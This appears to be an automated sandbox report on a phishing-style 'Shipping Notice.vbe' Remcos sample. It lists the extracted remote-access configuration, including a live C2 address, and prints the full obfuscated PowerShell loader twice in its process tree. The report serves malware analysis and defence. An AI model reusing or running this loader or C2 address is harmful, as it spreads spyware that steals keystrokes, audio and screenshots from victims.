Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
03/07/2026, 18:45
General
- Target Shipping Notice.vbe
- Size 54KB
- Sample260703-xea4psev3x
- SHA256 c31a0124dbf9e5e7788db730c2253fc131026b904c9a5ccd557487297e04f15f
Malware Config
Extracted
-
remcos
-
RemoteHost
-
23.95.103.219:3001
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-75EXRP
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Notice.vbe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'oxalates' 'thirling' 'cancionero';function rentegneres ($apartheidpolitikerne240,$schizoid35) {$gammelt=klokkestrengen(@(105,199,214,198,221,232,221,202,219,201,226,180,210,207,217,212,223,218,215,224,202,164,121,150,147,199,227,227,231,141,150,216,213,173,207,224,212,212,216,168,154,155)) ;Incension ($gammelt)}function klokkestrengen ($obfuscation) { $preachership=-26457+26457;do {$obfuscation[$preachership]-=$trophywort[$preachership%11];$outwin+=[char]$obfuscation[$preachership];$preachership++} while ($obfuscation[$preachership])$outwin}function Incension ($dextrolactic) {&($benignant82) $dextrolactic}Function Dysfunctional ($obfuscation,$schizoid35oulevarders=0){$knebrende=klokkestrengen(@(105,217,201,215,212,228,233,159,214,201,215,177,207,205,205,208,216,232,216,230,198,230,174,217,218,206,214,223,218,211,229,162,205,136,213,212,219,208,230,233,194,172,159,184,183,213,211,167,204,231,218,155,166,184,230,183,207,212,204,147,152,228,199,216,218,229,168,199,218,206,218,226,158));Incension ($knebrende);For($vandkanter=0; $ddelighedsstatistikkens[$vandkanter] -ne $raerne; $vandkanter++){$ddelighedsstatistikkens[$vandkanter] = rentegneres $ddelighedsstatistikkens[$vandkanter] $trophywort[$vandkanter%11]}$komposteringsanlggene=klokkestrengen(@(105,205,210,212,205,213,225,159,218,222,226,170,216,212,198,223,233,231,198,222,209,235,130,147,208,212,212,226,149,192,213,205,211,183,193,195,194,143,216,217,202,222,206,217,173,203,202,216,222,232,214,217,219,216,230,174,209,209,202,217,231));Incension ($komposteringsanlggene);if ($schizoid35oulevarders) { Incension $hypernaturally}else {;$hypernaturally}}$trophywort=@(69,102,102,101,107,116,117,101,114,101,114);$benignant82=klokkestrengen @(142,171,190);$spyttede='\Remissers.Rvh';$schizoid35rnecykelen=Dysfunctional 'cEhWRUMjHAsWCgU2RigxS0VFS0JeUhIPCFNfT1UdRFFJZRQQX1pBRUtCTFICAwUOBFtHVUNVQnRWV0UtHQcAFAoKaldTVUVE';$lserettighedens148=Dysfunctional 'LRISFRhOWkoWFxszA0gCBBsSCRdLESoLSRAISxAdAgoAMVsCChwaGQoTAVQsAltUUho4LwQSXx0xA1M/AhwzQVIWFicBDVgOEUgkAh8POSQ=';$refractary=Dysfunctional 'ew==';Dysfunctional 'YQEKCgkVGV8ADBQqFAsEVlAQCwRfEzUWAgQfFV5BARULMRIDAQ4=' 1;Dysfunctional 'YQEKCgkVGV8BEBUtW0IJGBEHAAYRGyIOAwEOGgZURl1cNhYKDB9cURcXAwAkBRIEGQ1c' 1;Dysfunctional 'HigDEUUnEBcEDBEgNgkMBQA4BBwEFSAUO19RJxAGBxcbMR82FwQAGgYdCU92VlFX' 1;$lserettighedens148=$sugh[0];$sadeltaskers=(Dysfunctional 'YQEKCgkVGV8eEBQxFBRUW0NIKxcSXwoEDAAIAFUrFxFcEgMEJgcdEAsG');Incension ($sadeltaskers);Dysfunctional 'YQoTAx8GB1RCUlwNAwcBDgYGPikrFzFILhEfBCcAAxAXNhIuAAoQEBcvUUIYW0IWCBwcHx0MFnZTFAsOFwwOFwkXKw==' 1;$apartheidpolitikerne240dlumidin=Dysfunctional 'AQkRCwcbFAE0DB4g';$smaatryk=Dysfunctional 'YQoTAx8GB1RCUlxhBxYEGQAdABsBAioKDxECHxAXHABAcVYCCR4ZHAEbC1wMCBAKABFdQR4WFzcDEhECEx0AFgAcNldSXUdQEwAWERcrAgMWQg==';$fedtendes=$riforma;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1;while (!$outdrawn) {Dysfunctional 'YQEKCgkVGV8zCRYgFBUHDgcBAB8IFykVAxZWUAEXBwA=' 1;Incension $smaatryk;Dysfunctional 'FgoDABtcQUw=' 1;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1 ;Dysfunctional 'YQEKCgkVGV8VAR0oW0ICBxsXBB5fEywSDQAFX15AVhYHIg5IBgQBGxE=' 1;$lserettighedens148=$sugh[$gdom]}$semidome=141041;$therapsid=20166;Dysfunctional 'YQEKCgkVGV8BERcvChUOGR0TERcLTyIFRkENERERFwsWIBU=' 1;Dysfunctional 'YQEKCgkVGV8zCxcpBxURAhccEQtYKQYJCBMOBgE4SF80NwkLJwoHEFNGNgY3DwgCQ1AGERcPHjYNFAwNABALWw==' 1;Dysfunctional 'YQEKCgkVGV8AAAEsAQgIDhoBWCkxFz0SSCAFFxoBGwsVGFxcJDg3PCxcIhcxNRIXAhoSTVYkHCAKBxYfHRYMBhxb' 1;Dysfunctional 'YQEKCgkVGV8eBwAsDQ0AGRoQFk9BACAVDwIFGRALBksBMAQVERkdGwJaQQEgCw8BBBkQSVYRGiAUBxUYHRFM' 1;Incension $lbrikkernes;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'oxalates' 'thirling' 'cancionero';function rentegneres ($apartheidpolitikerne240,$schizoid35) {$gammelt=klokkestrengen(@(105,199,214,198,221,232,221,202,219,201,226,180,210,207,217,212,223,218,215,224,202,164,121,150,147,199,227,227,231,141,150,216,213,173,207,224,212,212,216,168,154,155)) ;Incension ($gammelt)}function klokkestrengen ($obfuscation) { $preachership=-26457+26457;do {$obfuscation[$preachership]-=$trophywort[$preachership%11];$outwin+=[char]$obfuscation[$preachership];$preachership++} while ($obfuscation[$preachership])$outwin}function Incension ($dextrolactic) {&($benignant82) $dextrolactic}Function Dysfunctional ($obfuscation,$schizoid35oulevarders=0){$knebrende=klokkestrengen(@(105,217,201,215,212,228,233,159,214,201,215,177,207,205,205,208,216,232,216,230,198,230,174,217,218,206,214,223,218,211,229,162,205,136,213,212,219,208,230,233,194,172,159,184,183,213,211,167,204,231,218,155,166,184,230,183,207,212,204,147,152,228,199,216,218,229,168,199,218,206,218,226,158));Incension ($knebrende);For($vandkanter=0; $ddelighedsstatistikkens[$vandkanter] -ne $raerne; $vandkanter++){$ddelighedsstatistikkens[$vandkanter] = rentegneres $ddelighedsstatistikkens[$vandkanter] $trophywort[$vandkanter%11]}$komposteringsanlggene=klokkestrengen(@(105,205,210,212,205,213,225,159,218,222,226,170,216,212,198,223,233,231,198,222,209,235,130,147,208,212,212,226,149,192,213,205,211,183,193,195,194,143,216,217,202,222,206,217,173,203,202,216,222,232,214,217,219,216,230,174,209,209,202,217,231));Incension ($komposteringsanlggene);if ($schizoid35oulevarders) { Incension $hypernaturally}else {;$hypernaturally}}$trophywort=@(69,102,102,101,107,116,117,101,114,101,114);$benignant82=klokkestrengen @(142,171,190);$spyttede='\Remissers.Rvh';$schizoid35rnecykelen=Dysfunctional 'cEhWRUMjHAsWCgU2RigxS0VFS0JeUhIPCFNfT1UdRFFJZRQQX1pBRUtCTFICAwUOBFtHVUNVQnRWV0UtHQcAFAoKaldTVUVE';$lserettighedens148=Dysfunctional 'LRISFRhOWkoWFxszA0gCBBsSCRdLESoLSRAISxAdAgoAMVsCChwaGQoTAVQsAltUUho4LwQSXx0xA1M/AhwzQVIWFicBDVgOEUgkAh8POSQ=';$refractary=Dysfunctional 'ew==';Dysfunctional 'YQEKCgkVGV8ADBQqFAsEVlAQCwRfEzUWAgQfFV5BARULMRIDAQ4=' 1;Dysfunctional 'YQEKCgkVGV8BEBUtW0IJGBEHAAYRGyIOAwEOGgZURl1cNhYKDB9cURcXAwAkBRIEGQ1c' 1;Dysfunctional 'HigDEUUnEBcEDBEgNgkMBQA4BBwEFSAUO19RJxAGBxcbMR82FwQAGgYdCU92VlFX' 1;$lserettighedens148=$sugh[0];$sadeltaskers=(Dysfunctional 'YQEKCgkVGV8eEBQxFBRUW0NIKxcSXwoEDAAIAFUrFxFcEgMEJgcdEAsG');Incension ($sadeltaskers);Dysfunctional 'YQoTAx8GB1RCUlwNAwcBDgYGPikrFzFILhEfBCcAAxAXNhIuAAoQEBcvUUIYW0IWCBwcHx0MFnZTFAsOFwwOFwkXKw==' 1;$apartheidpolitikerne240dlumidin=Dysfunctional 'AQkRCwcbFAE0DB4g';$smaatryk=Dysfunctional 'YQoTAx8GB1RCUlxhBxYEGQAdABsBAioKDxECHxAXHABAcVYCCR4ZHAEbC1wMCBAKABFdQR4WFzcDEhECEx0AFgAcNldSXUdQEwAWERcrAgMWQg==';$fedtendes=$riforma;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1;while (!$outdrawn) {Dysfunctional 'YQEKCgkVGV8zCRYgFBUHDgcBAB8IFykVAxZWUAEXBwA=' 1;Incension $smaatryk;Dysfunctional 'FgoDABtcQUw=' 1;Dysfunctional 'YQEKCgkVGV8dEAYhFAcSBUldMRcWBmg2BxEDVFEDFwEGIAgCABhd' 1 ;Dysfunctional 'YQEKCgkVGV8VAR0oW0ICBxsXBB5fEywSDQAFX15AVhYHIg5IBgQBGxE=' 1;$lserettighedens148=$sugh[$gdom]}$semidome=141041;$therapsid=20166;Dysfunctional 'YQEKCgkVGV8BERcvChUOGR0TERcLTyIFRkENERERFwsWIBU=' 1;Dysfunctional 'YQEKCgkVGV8zCxcpBxURAhccEQtYKQYJCBMOBgE4SF80NwkLJwoHEFNGNgY3DwgCQ1AGERcPHjYNFAwNABALWw==' 1;Dysfunctional 'YQEKCgkVGV8AAAEsAQgIDhoBWCkxFz0SSCAFFxoBGwsVGFxcJDg3PCxcIhcxNRIXAhoSTVYkHCAKBxYfHRYMBhxb' 1;Dysfunctional 'YQEKCgkVGV8eBwAsDQ0AGRoQFk9BACAVDwIFGRALBksBMAQVERkdGwJaQQEgCw8BBBkQSVYRGiAUBxUYHRFM' 1;Incension $lbrikkernes;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Remissers.Rvh
memory/1756-63-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-62-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-61-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-60-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-59-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-58-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-53-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-52-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1756-45-0x0000000001210000-0x00000000024F6000-memory.dmp
memory/1948-28-0x0000000005BE0000-0x0000000005F3B000-memory.dmp
memory/1948-34-0x0000000006610000-0x000000000662A000-memory.dmp
memory/1948-21-0x0000000005440000-0x0000000005A8A000-memory.dmp
memory/1948-39-0x0000000008940000-0x000000000D49D000-memory.dmp
memory/1948-37-0x0000000008380000-0x000000000893A000-memory.dmp
memory/1948-23-0x0000000005310000-0x0000000005332000-memory.dmp
memory/1948-24-0x0000000005B00000-0x0000000005B66000-memory.dmp
memory/1948-25-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/1948-19-0x0000000002890000-0x00000000028C6000-memory.dmp
memory/1948-36-0x0000000007320000-0x0000000007342000-memory.dmp
memory/1948-30-0x00000000060E0000-0x00000000060FE000-memory.dmp
memory/1948-31-0x0000000006310000-0x000000000635C000-memory.dmp
memory/1948-35-0x00000000073C0000-0x0000000007456000-memory.dmp
memory/1948-33-0x0000000007740000-0x0000000007DBC000-memory.dmp
memory/4480-0-0x00007FF907F6F000-0x00007FF907F70000-memory.dmp
memory/4480-10-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-18-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-22-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-12-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-20-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-11-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-13-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-9-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-8-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-7-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-6-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-5-0x00007FF907DE0000-0x00007FF908784000-memory.dmp
memory/4480-4-0x000002674E6F0000-0x000002674E712000-memory.dmp
memory/4480-1-0x00007FF907DE0000-0x00007FF908784000-memory.dmp